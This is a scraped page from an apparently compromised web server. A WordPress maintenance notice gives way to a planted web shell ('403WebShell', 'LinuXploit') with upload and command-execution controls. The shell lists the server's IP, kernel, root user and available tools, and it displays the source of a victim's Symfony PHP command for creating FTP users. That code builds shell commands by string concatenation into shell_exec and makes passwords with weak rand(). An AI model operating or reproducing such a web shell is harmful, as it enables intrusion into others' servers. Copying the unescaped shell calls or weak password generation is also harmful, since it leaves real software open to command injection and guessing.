WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.126
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Command/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Command/NewFtpUsersCommand.php
<?php

namespace App\Command;

use App\Entity\FtpUser;
use App\Entity\Stock;
use App\Entity\User;
use App\Service\FtpHelper;
use App\Service\ImageHelper;
use Doctrine\ORM\EntityManagerInterface;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;
use Symfony\Component\DependencyInjection\ParameterBag\ParameterBagInterface;

class NewFtpUsersCommand extends Command
{
    private $em;
    private $parameterBag;
    private $imageHelper;
    private $ftpHelper;


    public function __construct(EntityManagerInterface $em, ParameterBagInterface $parameterBag, ImageHelper $imageHelper,FtpHelper $ftpHelper)
    {
        parent::__construct();
        $this->em = $em;
        $this->parameterBag = $parameterBag;
        $this->imageHelper = $imageHelper;
        $this->ftpHelper = $ftpHelper;
    }

    protected static $defaultName = 'app:new-ftp-users';

    protected function configure()
    {
        $this
            ->setDescription('Add a short description for your command')
            ->addArgument('arg1', InputArgument::OPTIONAL, 'Argument description')
            ->addOption('option1', null, InputOption::VALUE_NONE, 'Option description');
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        $ftpRepository=$this->em->getRepository(FtpUser::class);
        $ftpUsers = $ftpRepository->findBy(['processed'=>false]);
        foreach ($ftpUsers as $ftpUser){
            $user = $ftpUser->getUser();
            $this->ftpHelper->createFTP($user);
            $ftpUser->setProcessed(true);
            $this->em->persist($ftpUser);
            $this->em->flush();
            $uploads_directory = $this->parameterBag->get('uploads_directory');
            $target_file = $uploads_directory.$ftpUser->getUserid();
            if(!is_dir($target_file)){
                $create_upload_folder_command =  "mkdir ".$target_file;
                shell_exec($create_upload_folder_command);
                $change_ownership_command = "chown -R www-data:www-data ".$target_file;
                shell_exec($change_ownership_command);
            }

        }
        return 0;
    }

    public function clean($string)
    {
        $string = str_replace(array('[\', \']'), '', $string);
        $string = preg_replace('/\[.*\]/U', '', $string);
        $string = preg_replace('/&(amp;)?#?[a-z0-9]+;/i', '', $string);
        $string = htmlentities($string, ENT_COMPAT, 'utf-8');
        $string = preg_replace('/&([a-z])(acute|uml|circ|grave|ring|cedil|slash|tilde|caron|lig|quot|rsquo);/i', '\\1', $string);
        $string = preg_replace(array('/[^a-z0-9]/i', '/[-]+/'), '', $string);
        return strtolower(trim($string, '-'));
    }

    public function randomPassword($len)
    {
        $alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
        $pass = array(); //remember to declare $pass as an array
        $alphaLength = strlen($alphabet) - 1; //put the length -1 in cache
        for ($i = 0; $i < $len; $i++) {
            $n = rand(0, $alphaLength);
            $pass[] = $alphabet[$n];
        }
        return implode($pass); //turn the array into a string

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit